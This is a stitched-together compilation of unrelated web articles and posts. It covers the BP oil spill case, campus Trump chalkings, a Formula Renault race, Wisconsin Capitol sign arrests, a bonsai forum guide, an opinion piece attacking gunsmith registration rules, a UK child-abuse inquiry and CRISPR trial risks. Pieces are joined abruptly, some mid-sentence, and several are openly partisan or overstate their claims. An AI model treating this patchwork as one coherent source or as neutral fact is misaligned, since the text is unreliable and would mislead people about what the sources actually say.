The news comes after the Department of Justice launched a civil case against BP in August citing “gross negligence and wilful misconduct.” The case is due to be heard in New Orleans in February 2013 but may not go ahead if an out of court settlement is reached. However, other federal civil cases would still be possible.
At its heart the case centres upon whether errors were made in calculations of the pressure of the well Deepwater Horizon was drilling into. The Department of Justice believes it has a clear-cut case, saying “that such a simple … test could have been so stunningly, blindingly botched in so many ways, by so many people, demonstrates gross negligence.”
If the civil case was to succeed, it would leave BP open to damages of nearly $85 billion, dwarfing the $7.8 billion it has already set aside to resolve cases brought by individuals and businesses affected by the spill. In comparison, the settlement with the Department of Justice is expected to be the largest in US history, which current stands at $1.3 billion.
CBS News, which has reportedly received anonymous confirmation from a source close to the case, also noted that “two BP employees face manslaughter charges over the death of 11 people in the explosion of the Deepwater Horizon oil rig that triggered the massive spill.”
The anonymous source “also confirmed that BP will plead guilty to obstruction for lying to Congress for its statements on the size of the leak.”
BP Oil Spill Background
The case dates back to 2010, when an unexpected surge of methane gas from an exploratory drill caused the Deepwater Horizon drilling rig to explode in the Gulf of Mexico. It took BP three weeks to cap the well, during which time an estimated 53,000 barrels of crude oil leaked into the ocean every day, making it the largest accidental marine oil spill in history.
Although the well was officially declared capped in late 2010, there are persistent reports that the seabed in the area continues to leak oil, and earlier this year the NOAA said that the ecological consequences of the spill were “far more profound than previously thought,” with “a disturbing number” of fish bearing mutations and reports of mass deaths amongst dolphins.WASHINGTON – The powers-that-be at Skidmore College in upstate New York seem to have read a lot more into the slogan of GOP presidential candidate Donald Trump than just a call to “Make America Great Again.”
According to the news website The College Fix, the school’s Bias Response Group has now decided that the writing of the slogan on a few whiteboards on campus during the spring semester was a racially motivated attack.
The group’s year-end report also implicitly declared Trump a bigot, as it stated the slogan “is associated with the political campaign of a candidate widely known to voice anti-immigrant and bigoted views.”
Skidmore College is a private liberal arts college in Saratoga Springs, New York, with an enrollment of 2,632 students and a tuition of $48,970.
The Bias Response Group, or BSG, report said the messages were scrawled on three whiteboards, and it determined the first two were racially motivated because they appeared on the boards of two female faculty members of color, one with “immigrant parentage.”
The group said it “acknowledges that political speech is free and protected,” but “[t]hese seemingly connected reports suggest a pattern of using the idea of political speech to target specific members of the Skidmore community with biased messaging. As such, the [group] does not interpret these messages as political speech but as racialized, targeted attacks.”
The BSG report claimed “Make America Great Again” appeared on “multiple faculty whiteboards” after the “Chalkening” phenomenon went nationwide in April. However, the report also acknowledged that only “three faculty whiteboards have been targeted (that we know of).”
The group’s report stated a “majority of BRG members do not interpret these messages as political speech but as politicized, racialized, targeted attacks intended to intimidate.”
As The College Fix noted, the fact that only a reported majority concurred indicated “some on the group may have dissented.”
WND reported on the Chalkening craze in April as pro-Trump sidewalk art sprang up across the nation, prompting claims that it was terrorizing some students.
The Foundation for Individual Rights in Education, or FIRE, cited a report that Emory University students “think Donald Trump is out to kill them” because of slogans chalked on campus sidewalks and walls.
“After the GOP frontrunner’s name was written in chalk on a campus wall, students said they ‘feared for their lives,'” the Daily Beast reported.
“Students say, they were ‘attacked’ by Trump’s name in large, pastel letters on campus walkways and buildings. ‘Vote for Trump,’ ‘Trump for Pres,’ ‘Accept the Inevitable: Trump 2016’ and more chalk sloganeering for the Republican presidential frontrunner was written all over the most trafficked areas on campus,” it said.
“I legitimately feared for my life,” claimed Paul Camila Alarcon in the report. “I thought we were having a KKK rally on campus.”
WND reported that dozens of students converged on Emory’s administration building to discuss the “pain” they felt over seeing Trump’s name.
Emory’s College Council and Student Government Association distributed email reports to their contact lists, and school officials told students they would hunt down surveillance camera footage to identify “suspects” to proceed with a “conduct-violation process.”
“I’m supposed to feel comfortable and safe [here],” a student told school officials, the report said. “But this man is being supported by students on our campus and our administration shows that they, by their silence, support it as well. … I don’t deserve to feel afraid at my school.”
College sophomore Jonathan Peraza asked a group of students what they were feeling, and they replied “fear” and “frustration.”
“You are not listening! Come speak to us. We are in pain!” Peraza exclaimed outside the school’s Goodrich C. White Hall.
FIRE’s Chris Marchese said “The Chalkening” now has spread to other campuses, listing the University of Illinois, Ohio University, University of California-Santa Barbara, DePaul, University of Michigan, Kansas, Connecticut, College of William and Mary and Tulane.
At Michigan, police were summoned because of the appearance of “Trump 2016” and “#StopIslam” slogans.
Michigan spokeswoman Diane Brown said, “We will continue to monitor campus and work with our campus partners to ensure our students have a safe environment to live, learn and dialogue.”
The school took immediate action, and reports were filed with the school’s “bias response team.”
“Attacks directed toward any member or group within the University of Michigan community, based on a belief or characteristic, are inconsistent with our values of respect, civility and equality,” Brown said. “… We are fully committed to fostering an environment that is welcoming and inclusive of everyone.”
At Tulane, a political slogan generated this comment from freshman Claire Cruz: “As a Latina on a mostly all-white campus, I am constantly seeing little acts of racism and white privilege, but this huge act was a slap in my face. Not only do I feel as if my safety has been threatened, but also my humanity is being completely written off.”
FIRE’s Marchese commented that “these chalkings wouldn’t be newsworthy if it weren’t for the responses they have received, with some likening such expressions to mass murder, and schools responding with promises of cracking down on speech.”
If speech is offensive, he said, the solution is not to restrict it.
“Indeed, the response to offensive speech should be more speech. But public universities like the University of California, San Diego, cannot respond to such expression with ‘the fullest sanctions.’ Instead, they should respond with the fullest application of the First Amendment.”
Also sounding off on the issue was First Amendment expert Eugene Volokh, whose blog “The Volokh Conspiracy” is published by the Washington Post.
He wrote of universities promising crackdowns, including San Diego.
“The university, as the owner of its property, might have the power to prohibit all chalking on that property. … But UCSD policy expressly provides that chalking is permitted ‘on sidewalks of the university grounds that are exposed to weather elements and not covered by a roof or overage.’”
He noted that “any attempt to punish the chalking precisely because of its viewpoint would clearly violate the First Amendment.”
Added Marchese: “FIRE agrees with Volokh’s analysis that if the school punishes chalking based on content, it violates the First Amendment. That is, the institution must enforce a chalking policy without respect to the expressed viewpoint.”
At the time, Breitbart reported the Trump chalkings had become “an epidemic” and noted the response is “panic among the regressive left.”Fokker Services announced (21-Jan-2015) it placed 36 Fokker aircraft with four new and nine existing Fokker operators during 2014. Fokker Services does not sell or lease Fokker aircraft, instead facilitating placements by sellers and lessors through its 'FLYFokker' programme, in addition to providing comprehensive support to Fokker aircraft operators throughout the world. Aircraft placed included:
13 Fokker 50s;
10 Fok |
victory.
Neither him, nor poleman Valentin Moineault had a particularly bad getaway, but both had to surrender to a fast-starting Axel Matus into turn one.
And early in the race, it seemed Matus’ first win in the category was a foregone conclusion, the Mexican gaining rapidly on the field.
With Moineault appearing to struggle for wet weather pace, Korneev dived past him for second, with race winner Sacha Fenestraz following through a few corners later.
Out of nowhere, the duo then began quickly making up ground to Matus, whose lead was only protected by a sudden safety car appearance, which came out for Reuben Kressner‘s off from P5.
Matus was solid on the subsequent restart but both Korneev and Fenstraz kept up and the former soon took the lead. Fenestraz followed almost immediately, completing a bold move on the Mexican.
The Frenchman then put a lot of pressure on Korneev, but the Russian held on and took the checkered flag despite briefly running wide on the final lap.
Matus claimed third, ahead of fellow returnees Moineault and Simo Laaksonen, who had started the race in 12th.
Nikita Troitskiy passed Giuliano Alesi for sixth, while Kami Laliberte, Nerses Isaakyan and Louis Gachot completed the top ten.
Update: Nerses Isaakyan was demoted to P15 with a 30-second penalty for “unsportsmanlike behaviour”.
Pos. Driver Time/Gap 1 Alexey Korneev 12 laps in 26:23.666 2 Sacha Fenestraz +1.152 3 Axel Matus +4.735 4 Valentin Moineault +7.922 5 Simo Laaksonen +10.629 6 Nikita Troitskiy +11.546 7 Giuliano Alesi +14.233 8 Kami Laliberte +16.742 9 Louis Gachot +29.885 10 Julien Darras +31.056 11 Julien Andlauer +32.836 12 Theophile Senegas +34.427 13 Ye Yifei +35.193 14 Michael Benyahia +42.814 15 Nerses Isaakyan +57.845* 16 Gabriel Aubry +1:00.280 17 Hugo Sugnot-Darniche +1:13.796 18 Reuben Kressner +1:50.229 19 Jose Sierra +2 laps
* – 30-second penaltyThe second half of the season is set to bow in October.
Syfy is no longer seeking Haven.
The cable network has axed the sci-fi series after five seasons, The Hollywood Reporter has confirmed.
The news comes just a year after the drama, which stars Emily Rose, Lucas Bryant and Eric Balfour, earned a supersized season five renewal for 26 episodes — double the normal 13 installments. The second half of season five is set to bow in October.
Based on Stephen King's The Colorado Kid novella, Haven centers on the strange events of a small Maine town. Adapted for the screen by Sam Ernst and Jim Dunn, the duo exec produced the E1 Entertainment series with Scott Shepherd, Lloyd Segan, Shawn Piller, as well as E1 Entertainment's John Morayniss, Noreen Halpern, Laszlo Barna and Michael Rosenberg.
Syfy's decision to cancel with the series is not surprising given the network's new direction, and particularly its renewed focus on high-profile science fiction programming like 12 Monkeys and the upcoming projects The Expanse and Childhood's End. The network's slate also includes Olympus, Killjoys, Bitten, Defiance, Z Nation and Dark Matter, as well as the upcoming series Hunters and The Magicians. On the pilot side, Syfy also has the Ben Affleck- and Matt Damon-produced drama Incorporated.On September 5, 2012, eight people were arrested, handcuffed, and ultimately given citations for simply holding signs in the Wisconsin State Capitol. This may come as a surprise to the hundreds of thousands of people who marched through the Capitol in February and March of 2011 proudly holding home-made signs that denounced Governor Scott Walker's attack on collective bargaining rights, but there's a new sheriff in town -- a new Capitol Police chief to be exact.
In July of 2012, David M. Erwin was named as the new Chief of the Wisconsin Capitol Police Department, succeeding Chief Charles Tubbs who was widely applauded for maintaining public safety while allowing protesters to exercise their First Amendment rights in the Capitol during Wisconsin's historic labor uprising. Chief Erwin previously served as the captain in charge of Governor Walker's security with the Wisconsin State Patrol.
Chief Erwin made it clear from the beginning that under his watch, the Department of Administration's controversial access policy for the Capitol would be followed more strictly. The group of citizens who participate in the daily sing-along, and those who visit the Capitol to hold signs and socialize have been expecting a crackdown, and it has arrived.
Gandhi Quote Lands Protester in Cuffs
On Tuesday a small group of people were given warnings by the Capitol Police, and told that they could not display their signs on the 1st floor of the rotunda. On Wednesday Bart Munger, one of those warned the day before, was arrested and handcuffed for holding a 3' x 7' sign that said "An unjust law is itself a species of violence. Arrest for its breach is more so. –Mahatma Gandhi".
After being cited and released Munger returned to the 1st floor of the Capitol to donate blood for the Red Cross, which has a permit to be in the Capitol for the whole week to do a blood drive. Shortly thereafter Joseph Skulan was arrested and handcuffed for holding an 8.5" x 11" sheet of paper with Article I, Section 4 of the Wisconsin State Constitution which says, "The right of the people peaceably to assemble, to consult for the common good, and to petition the government or any department thereof, shall never be abridged."
Over the next few hours six more people were arrested, handcuffed, cited and then released. Each of them was given a ticket for $200.50 for violating Administrative Rule 2.07(2), which states "No displays, signs, banners, placards, decorations or graphic or artistic material may be erected, attached, mounted or displayed within or on the building or the grounds of any state office building or facility without the express written authority of the department."
The DOA enforcing Rule 2.07(2) against people holding signs appears to be at odds with a recent court decision. On Wednesday, Dane County Judge Frank J. Remington ruled in a motion for summary judgment that Rule 2.07(2) does not apply to handheld signs, only signs that are affixed to walls or free-standing. Though the word "display" could arguably apply to handheld signs, Judge Remington wrote that "the term 'displayed' implies something like a freestanding exhibit showcased in the Capitol, not an individual holding a handmade sign over their head."
Jeri Troia, and Chris Taylor (a grandmother and frequent visitor to the Capitol, not the State Representative) were arrested for holding shirts made and distributed by "Muslims for Life," a group partnering with the Red Cross to help with the blood drive. Ultimately four of the eight people who were cited donated blood to the Red Cross.
During one of the arrests a Capitol Police officer told a citizen "If you are holding a sign today or any day in the future, you will be issued a citation and you will be arrested." Each of those arrested was given a similar warning. One man was given a warning for holding a blank 3' x 1' posterboard.
Former Wisconsin Attorney General Peg Lautenschlager, who negotiated with the Capitol Police and the Walker administration and helped return the Capitol to normalcy after it was locked down in March 2011, shook her head at the latest developments. "Tragically, this administration and its appointees take themselves more seriously than their duties and obligations under the Wisconsin Constitution." While many expect that Dane County judges may toss out these citations, others suspect that the Walker administration will find new ways of attempting to enforce the rules perhaps by sending the cases to the Republican Attorney General.
The daily "Solidarity Sing-Along," a loosely organized group of people who meet at the Capitol every weekday to sing songs about unions and social justice, is outside this week so as not to interfere with the permitted Red Cross blood drive, but those who attend the daily event are unsure of how the police will react when they return to singing inside the rotunda. What they do know is they are determined to exercise their right to free speech, and their right to peaceably assemble, and they will be there every day just like they have for the past year and a half.Charles Foster, 19, was arrested Friday in connection with an altercation at a house party in Fort Bend County.
FORT BEND COUNTY, Texas - Two more people are in custody after a fight broke out at a house party in Fort Bend County.
The incident happened on Nov. 1 at a birthday party. Authorities say details of the gathering were posted on social media and as many as 75 people were there, many of whom were not invited by the hosts.
A female guest and her male friend, 17, felt harassed by a group of people and left the party. But they were followed outside and attacked in the street and in a nearby yard.
Charles Foster, 19, was arrested at his home in Mission Bend on Friday. Authorities say he stole property from the two victims. He faces two counts of robbery and is being held in the Fort Bend County jail on in lieu of $40,000 bond.
Foster also faces a felony charge involving organized commercial theft in Washington County, according to the Fort Bend County Sheriff's Office. That offense carries a $30,000 bond.
The second suspect was a 16-year-old juvenile who was arrested Thursday.
Copyright 2014 by Click2Houston.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.The news that Russia is set to settle up all old Soviet debts by year-end highlights — we think not unintentionally — one of the glaring differences between how Moscow and Washington operate.
Moscow can't afford to print rubles like there's no tomorrow, so it lives in a reality-based world where pragmatism and agreement-by-consensus guides its domestic and foreign policies.
Solvent and stable
In contrast, Washington relies on confidence in and demand for the dollar, "allowing" it to print as much money as it needs to spend on fun projects such as "rebuilding" Afghanistan, which currently costs $13 million/day, even though the war "ended" three years ago.
So it's not particularly surprising that Russia currently has the lowest national debt in Europe. Meanwhile, in America:
Keep printing dollars. What could possibly go wrong?
As for Russia, its debt-to-GDP ratio accounts to 18.3 percent in 2015. And it's expected to continue to go down. In absolute terms, Russia’s government debt is roughly $147 billion.
Yes, we know. Debt is good! Government spending creates jobs and growth!
Maybe if the money was being used to build roads in Kansas, instead of blowing up weddings in Yemen.
As history has shown time and time again, there will be no way for the United States to dig itself out of this hole of its own creation, until it's far too late.
Let's just hope when they jump off the cliff, they don't bring the whole world down with them.The Canadian winter can be tough on everyone, including our wildlife. Two Ontario men learned that firsthand when they spotted a deer trapped in frozen Stoney Lake last weekend.
The electricians, who were on a lunch break while working at Viamede Resort in Woodview, knew they had to help, according to Chex TV News.
Jay Wells and Peter Rennie first called the Ontario wildlife ministry but were told there was nothing the organization could do. The duo decided to take matters into their own hands and rescue the animal.
A video of their efforts was uploaded to YouTube by CHEX Newswatch earlier this week.
Before stepping onto the ice, they made sure it was solid and had a game plan, Wells told Buzzfeed Canada.
“We thought maybe to lasso it with a rope and drag it to shore, but thought it would be best for the animal just to use our hands,” he said.
While the deer fought their grip at first, she ultimately gave in and allowed the men to rescue her to shore.
It was a happy ending, thanks to their bravery, as the deer eventually walked away seemingly unharmed.
The Canadian winter is hard on all of us, but these guys prove we can all get through it just fine.
Also on HuffPostI posted on a thread somewhere about the work required to maintain a finished bonsai, and it made me think about the whole bonsai creation, development, and maintenance process. Most of the threads on this forum pertain to the creation of bonsai from raw material. Little is written about long term care and maintenance. I suppose that's because that most of us don't have finished trees, yet. I am lucky to have a few, and enjoy the challenge of keeping them in top condition.
But, the focus of this thread is the phases of bonsai creation and development. I think one of the things that confuses people when they begin learning bonsai and learning the techniques is knowing when to apply the proper technique based upon what phase their tree is in. So, let's try to identify the phases:
1) Propogation:
Some choose to bypass this phase entirely. Propogation is basically starting with "nothing" with roots, and creating a plant. This process includes starting from seeds, cuttings, air and ground layers, and grafting.
If you choose to start trees this way, there are skills you must learn to be successful. Getting the tree removed from where it was growing, saving sufficient roots, and aftercare skills are required.
2) Collecting:
This has a couple of variants. A) collecting Yamadori from the wild that have been untended by man until the time of collection. This is how bonsai got started. B) collecting old landscape material. Many old shrubs and trees from gardens can be repurposed into wonderful bonsai. Many of the same skills needed for Yamadori are needed, but usually, it's easier to collect old landscape material than Yamadori, and aftercare is easier.
3) Purchasing starter material:
Again, two variants: A) material grown specifically to be turned into bonsai; B) material found at a general purpose landscape nursery, or "big box" nursery.
The material grown specifically for bonsai will be easier and faster to develop into bonsai. Or should be! Lol!!! A couple of reasons: Bonsai specific material will be species sland cultivars known to have desirable characteristics for bonsai. Some of those characteristics include: propensity to build trunk quickly, produce interesting bark, have short internodes, have small foliage, or the foliage reduces in size with proper care, is hardy in a pot, grows quickly, has "character", isn't "fussy" about its roots, responds well to pruning, tolerates wiring, etc. I'm sure there's more, but that gives you an idea.
It, material grown with bonsai in mind, should been grown with some attention to avoid obvious flaws, and have desirable features for bonsai. For example, if the material is grafted, the graft should be placed low, near the nebari. And speaking of nebari, trees grown for bonsai should have had some attention placed there.
Obviously, it takes more effort to grow bonsai stock, so expect prices to be higher than similarly sized landscape material.
The trees sold at landscape and big box stores are grown to be landscape material. Duh! Once in a while, they will have trees that have desirable bonsai characteristics, and are absent the flaws. This is the treasure hunt goal, find those few. Many revel in the hunt, maybe enjoy the hunt more than the bonsai! But, most of the trees sold at these places do not make good bonsai. The cultivars grow long internodes, the grafts are high, the foliage doesn't reduce, etc. Treasure hunting can be fun, but make sure that treasure is something that will still be suitable. There are lots of threads in this forum that start off with "I bought this at Home Depot, now what to I do?" And it's a Bloodgood maple. They just never make good bonsai. Plant it in the garden.
A word here about Mugo Pine. Mugo can make great bonsai. The Nursery trade in the US treats these as shrubs, and when they grow them, they prune them the same as they would a round boxwood shrub. There is foliage on the outside, and the inside is bare, all the interior growth is shaded out. These trees need major rehab work.
Regardless whether you are buying bonsai stock, or landscape stock, you have to develop an "eye" for good material.
4) Development: now that we have acquired our tree, we need to send down the path to become a bonsai. The most important part of any bonsai is the lower trunk and nebari. This part is always visible so your first attention should be placed on developing that first. Many new to the hobby start with picking branches and ignore the nebari. Years later, they find the nebari is poor and has to be reworked. Don't let that happen to you.
Develop the trunk and nebari, then branches. Different species of trees require different techniques. Maples are developed differently than pines. Many techniques are used here: sacrifice branches, grafting, proper pruning, fertilizer, pruning for taper, how to "heal" (or cover) wounds, nebari development, wiring, etc.
5). Refinement: we have our structure. Now we want ramification (lots of twigs and branches) small foliage, old looking bark, pads of foliage, depth, movement. Here the techniques of decandling, needle pulling, defoliation, grow and cut back, wiring come into play. Pot selection is more important.
6). Maintenance: one of the key things is once the tree has settled into a permanent design is the ability to keep it healthy. Periodic repot things keep the root system young and growing. The foliage will grow a little longer every year. It must be thinned to keep interior foliage alive. The foliage "close to the trunk" is the future of the tree. Do not allow the exterior foliage to get so thick and dense the interior foliage dies out, or else you'll have nothing to cut back to. Always nurture interior growth.
7) Cut Back and restyle: when I say "restyle", it may not be a drastic restyle, it's just shortening old branches and wiring those interior branches to take their place. Sometimes it is a drastic restyle. Maybe a branch died, and the whole styling of the tree has to be changed.
Old wire is removed, and new wire placed. This is a tedious process. There are lots of branches that have to be wired. If branches have gotten too long, and new branches placed, there must be a plan for the next time!
Here, to do this well, you have to have an eye as to how the tree will grow over the next 5 years. Which parts are weak, which are strong, how to maintain balance, health, and ensure there's a way forward for the tree.
Trees in Phase 6 and 7 need a lot of work two or three times a year. But their daily care is minimal: sun, water, fertilizer, and pest control. But when they need work, say, rewiring, it might take 2 or 3 full days to wire!
Anyway, the purpose of this post is to get people thinking about which phase of development each tree is in. And then, to execute that phase, what skills and techniques are necessary.
As an example, if you're trying to grow out the trunk to develop girth, defoliation is not appropriate. Yet many do, because they see others doing it, and think that's the right thing to do. It might be the right thing to do later, when refining, but not during development.
Hope this post wasn't too boring, and gets you thinking!President Obama has just signed an executive order that could actually cripple the people who work as gunsmiths. This new law would reclassify gunsmiths as gun manufacturers. What is the big deal with that? Well the fact that if they are reclassified, then people would have to pay an insane amount of money every time they wanted an improvement.
Most people that live in the United States have some sort of a budget. This allows them to properly save and decide what they can, and sometimes should, spend their money on. Well for gun owners part of the budget includes ammo, making some repairs, or anything compared to that.
Well this new law that Obama has signed in would not only destroy that budget, it most likely is going to destroy a lot of gunsmiths. First off, the law requires that many gunsmiths would have to register with the Directorate of Defense Trade Controls.
That register itself comes with an annual fee that STARTS at $2,250. I don’t know about you, but I don’t exactly have an extra $2,250 lying around. Now the new law does say you don’t need to register if your business doesn’t do any of the following: “Cutting, drilling, or machining for installation” or “repairs involving replacement parts that do not improve the accuracy, caliber, or other aspects of firearm operation”.
Well guess what? The problem with that is many gunsmiths actually do have to compromise the original firearm to make the necessary corrections. So basically this law is going to force a lot of gunsmiths to hike up their prices so that they can afford this new annual fee.
This doesn’t even involve complicated measures. It could simply be a routine trigger installation. Well because of this new law, they would have to drive up the price to compensate. We’re not talking about a small raise to adjust for other costs either. No this would absolutely skyrocket the price.
This goes back to the budget issue. How much money can you take from one area and put it to another area without causing a huge mess? It is going to become very difficult for people to try and work this out on a budget.
The other thing that can possibly happen is that the small businesses that operate as gunsmiths are going to be driven into the ground. They can’t afford to pay this fee at the beginning. Guess what? That will cost people JOBS. That one thing that we really need right now.
This is also how stupid this law is. When you have car troubles, you go to a mechanic to fix the problems. Well if this new law were enacted in the automotive world, then this mechanic would have to be labeled a “vehicle manufacturer” and pay the same fees as say Ford or General Motors.
See how foolish that sounds? But this is the same fight that gun rights activists have to fight everyday. It’s like this. When someone dies in a drunk driving accident, they blame the person for drinking and driving. Yes that is correct. But when there is a mass shooting, people blame the gun.
Wait what? How is the gun the issue? It’s an inanimate object. You don’t blame the car in the drunk driving incident but you blame the gun for the shootings? No it was the person that did it. But people just can’t seem to realize that. That includes the president himself.
Obama is so dead set against guns that he has tried to find a way to destroy them without actually touching the Second Amendment. How can you operate and own a weapon if you can’t make routine repairs on it? Not only would you not be able to improve your gun because you want to, it would also be dangerous.
If you can’t properly make repairs, then the chances of you getting hurt increase. So this law is not only going to drive people out of business, it is going to hurt gun owners, literally. All of this is because Obama doesn’t believe in the Second Amendment.
Need more proof? At a funeral for POLICE OFFICERS, he started talking about how we need stricter gun control laws. Guess what Mr. President; people who obtain guns the LEGAL way aren’t on the streets shooting and killing innocent people. But your ideology is that if we take away guns, then less people will die.
You want to know why that isn’t possible? Just take a look at Chicago. The city has some of the toughest gun control laws in the entire United States and it has been labeled a “war-zone.” People who buy and own guns the legal way aren’t the ones that are blowing each other away.
But you can’t separate that. You just want guns to be gone. So you think by enacting this law that it will drive people to not own a gun because they can’t clean it. Well the other action that will happen is that more people will be hurt because they try to clean the weapon themselves and it turns out bad.
I’m sure your intent wasn’t to hurt the people of the United States, but your fascination with getting rid of guns has led you to this point. Now people are going to be out of a job and other people are going to get hurt. Nice job Obama.
Please share this article so that people can realize what this law is actually going to do. Maybe if enough people realize what it really is, then we can take action to get it revoked. But we can only do this with your help. Do your part and get the word out.Feinstein at Stanford to discuss NSA, mass surveillance
U.S. Sen. Dianne Feinstein on May 28 will appear at Stanford to discuss the impact of the National Security Agency's mass surveillance efforts on America's national security and individual liberty and privacy.
Becky Hammel Sen. Dianne Feinstein, D-Calif., will appear at Stanford on May 28 as the final speaker in the university's Security Conundrum series.
U.S. Sen. Dianne Feinstein will speak at Stanford next Thursday, May 28, about striking a balance between security and liberty at a time when Congress is considering legislation to reform the National Security Agency's mass surveillance programs.
Feinstein, D-Calif., is the final speaker in the yearlong Security Conundrum lecture series. She will engage in conversation with Stanford's Philip Taubman, a consulting professor at Stanford's Center for International Security and Cooperation and former Washington bureau chief of the New York Times.
Feinstein is expected to discuss Congress' role in overseeing America's intelligence agencies, such as the National Security Agency and the Central Intelligence Agency, and laws that govern their operations. The idea behind the Security Conundrum series is to invite national experts to Stanford to explore issues raised by the federal government's mass surveillance programs, especially in the area of national security, privacy and civil liberties.
The talk, titled "The Security Conundrum: An Evening with Senator Dianne Feinstein," is free and open to the public. It starts at 6:30 p.m., and will be held at the Cemex Auditorium, 641 Knight Way on campus. No TV cameras or film equipment are permitted. Advance registration is required – register here for tickets.
Feinstein has been at the center of the debate about the NSA since Edward Snowden's disclosures exposed an array of mass surveillance programs in 2013. She served as chair of the Senate Select Committee on Intelligence from 2009-2014 and is now the ranking minority member.
Feinstein also played a leading role in the Senate investigation of the CIA detention and interrogation program following the terrorist attacks of Sept. 11, 2001. She pressed to make the Senate report public, and some parts of it were eventually released. A Stanford graduate, Feinstein has served in the U.S. Senate since 1993.
The Security Conundrum is co-sponsored by Stanford's Freeman Spogli Institute for International Studies, the Center for International Security and Cooperation, the Hoover Institution, Stanford Continuing Studies, Stanford in Government and Stanford Law School.
Amy Zegart, CISAC co-director and a senior fellow at the Hoover Institution, has said CISAC and the Hoover Institution would conduct a similar series on international cybersecurity challenges in the coming academic year.
The Security Conundrum series for this past year included Gen. Michael Hayden, the former director of the National Security Agency and the CIA; journalist Barton Gellman; and former U.S. Sen. Mark Udall.Image caption Dru Sharpling said Prof Alexis Jay was "one of the few people qualified" to lead the inquiry
A panel member of the independent inquiry into child sex abuse has defended chairwoman Prof Alexis Jay as being "qualified for the job."
The Shirley Oaks Survivors Association, for 600 victims who lived in children's homes in London, is pulling out of the inquiry because of its leadership.
But Dru Sharpling said it would not prevent the inquiry from carrying on.
Labour MP Chuka Umunna has called for a new head, but Home Secretary Amber Rudd has backed Prof Jay's leadership.
The inquiry said its work would continue with "confidence and clarity", and Prime Minister Theresa May this week said she had absolute confidence in the inquiry's leadership.
The treatment of children in care in Lambeth, south London, from the 1950s onwards is one of 13 areas the Independent Inquiry into Child Sexual Abuse (IICSA) is due to look at.
It will investigate the claim that a large paedophile network infiltrated children's homes in the area, run by Lambeth Council, with the Shirley Oaks group due to have been a "core participant" in the process.
Ms Sharpling said Prof Jay, who also led the independent inquiry into child sexual exploitation in Rotherham, South Yorkshire, was the right woman for the task ahead.
"One woman uncovered that abuse and that was Alexis Jay," she told the BBC. "I think she is one of the few people qualified for the job."
She added: "I'm very sorry Shirley Oaks Survivors Group has decided to withdraw but it is not going to prevent us from continuing the investigation. To be frank it gives us all the passion that we need to take it forward and although it has been a difficult start for this inquiry, we are determined to see it through no matter what."
'Pandora's box'
Raymond Stevenson, who has spoken about being physically abused during his time at the Shirley Oaks home in the 1970s, said the group's members had voted "overwhelmingly" on Saturday to pull out of the inquiry.
Mr Stevenson told the BBC that the group "felt relieved not to be part of this mangled attempt to get belated justice for our members" and he called the inquiry an "unpalatable circus".
He added: "The inquiry has just lurched from disaster to disaster and we do not believe Alexis Jay, the chair, is the right person to wrench open the Pandora's box of historical lies and cover-ups that have happened over the decades."
Media playback is unsupported on your device Media caption Chair of the Shirley Oaks Survivors Association tells Radio 4's Today the abuse inquiry is "failing tragically"
The inquiry has been beset by difficulties since it was set up in July 2014 to investigate allegations made against local authorities, religious organisations, the armed forces and public and private institutions in England and Wales, as well as people in the public eye.
Three chairwomen - former president of the High Court Family Division Baroness Butler-Sloss, her replacement, leading lawyer Dame Fiona Woolf, and Justice Goddard, a New Zealand high court judge - have already stood down before Prof Jay took her place.
A number of senior lawyers on the inquiry have also quit - the most recent of which was Aileen McColgan, who resigned on Wednesday amid concerns about the inquiry's leadership.
Shirley Oaks Survivors Group had threatened to withdraw before, questioning the inquiry's independence and claiming that the Home Office, which sponsors the inquiry and provided some of its staff, had a role in covering up abuse in the past. Now it is planning to publish the results of its own investigation.
Image copyright PA Image caption Prof Alexis Jay became the inquiry's fourth chairwoman in August
Ms Rudd has also come out in defence of Prof Jay and said: "We owe it to victims and survivors to get behind the inquiry, and its chair."
She added that the inquiry had a "vital role to play in exposing the failure of public bodies and other major organisations to prevent child sexual abuse".
But the group said she was planning nothing more than a "social work talk shop", which it said would achieve nothing, and described her as "an uninspiring leader".
Their local MP for Streatham, Mr Umunna, told BBC Radio 4's Today programme he was also concerned whether Prof Jay would be able to "bring the heft and forensic capacity of a judge" to the inquiry.
He also said there was concern about her social work background because "for many of the survivors... a lot the perpetrators came from that profession", and further concern about the "severe dysfunction" in the legal team.
"So for all those reasons I don't have confidence in this chair and I think we need a new one," he said.
Peter Saunders, the founder of the National Association for People Abused in Childhood who sits on the inquiry's victims advisory panel, told Today the inquiry should not be "distracted by just one group".
"This inquiry, for all its challenges, is the best chance that we've all got and we need to support it, not keep having a go at it."Now that a federal biosafety and bioethics committee has approved what would be the first use of the trailblazing genome-editing technology CRISPR-Cas9 in people, the obvious question arises: Could anything go wrong?
The purpose of such a Phase 1 clinical trial is to assess safety, so problems wouldn’t come as a total shock. The fact that the trial in cancer patients (which still needs OKs from the Food and Drug Administration, among others) would be funded by the new cancer institute founded this year by tech mogul Sean Parker adds a wild card. Four potential snafus:
1. CRISPR edits DNA it isn’t supposed to
Soon after scientists reported in 2012 that CRISPR can edit DNA, experts raised concerns about “off-target effects,” meaning genes that scientists didn’t intend to change inadvertently got deleted or altered. That can happen because one molecule in the CRISPR system acts as a molecular bloodhound, sniffing around the genome until it finds a match to its own sequence of A’s, T’s, C’s, and G’s; unfortunately, in the 6 billion such letters of the human genome, there can be more than one match. The proposed CRISPR experiment, which would be led by scientists at the University of Pennsylvania, would use three of these molecular bloodhounds, tripling the risk of off-target effects.
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The experiment would alter the immune system’s T cells only after they’re removed from a patient. That gives scientists the chance to screen the CRISPR’d cells to make sure only the three intended genes, all involved in making T cells find and destroy tumor cells, are altered. But after those T cells are infused back into a patient to fight melanoma, sarcoma, or myeloma, the CRISPR system can keep editing DNA, and tracking such edits becomes like following a polar bear in a snowstorm.
“How will you identify off-target editing?” asked Dr. Michael Atkins of the Georgetown Lombardi Comprehensive Cancer Center, a member of the federal Recombinant DNA Advisory Committee that approved the experiment.
Penn’s data on cells growing in lab dishes showed low off-target effects: Of 148 genes they thought might be inadvertently hit by CRISPR, only ANK1, a gene that is active in the brain and red blood cells, was. “But we can’t be sure that will be maintained over time,” Atkins said — meaning, whether CRISPR will edit the wrong DNA once the T cells are back in a patient.
Hitting the wrong DNA target in a gene therapy experiment has caused tragedy in the past. In 2002, a little boy developed leukemia after a gene he received landed at a spot in his DNA that activated cancer-causing DNA.
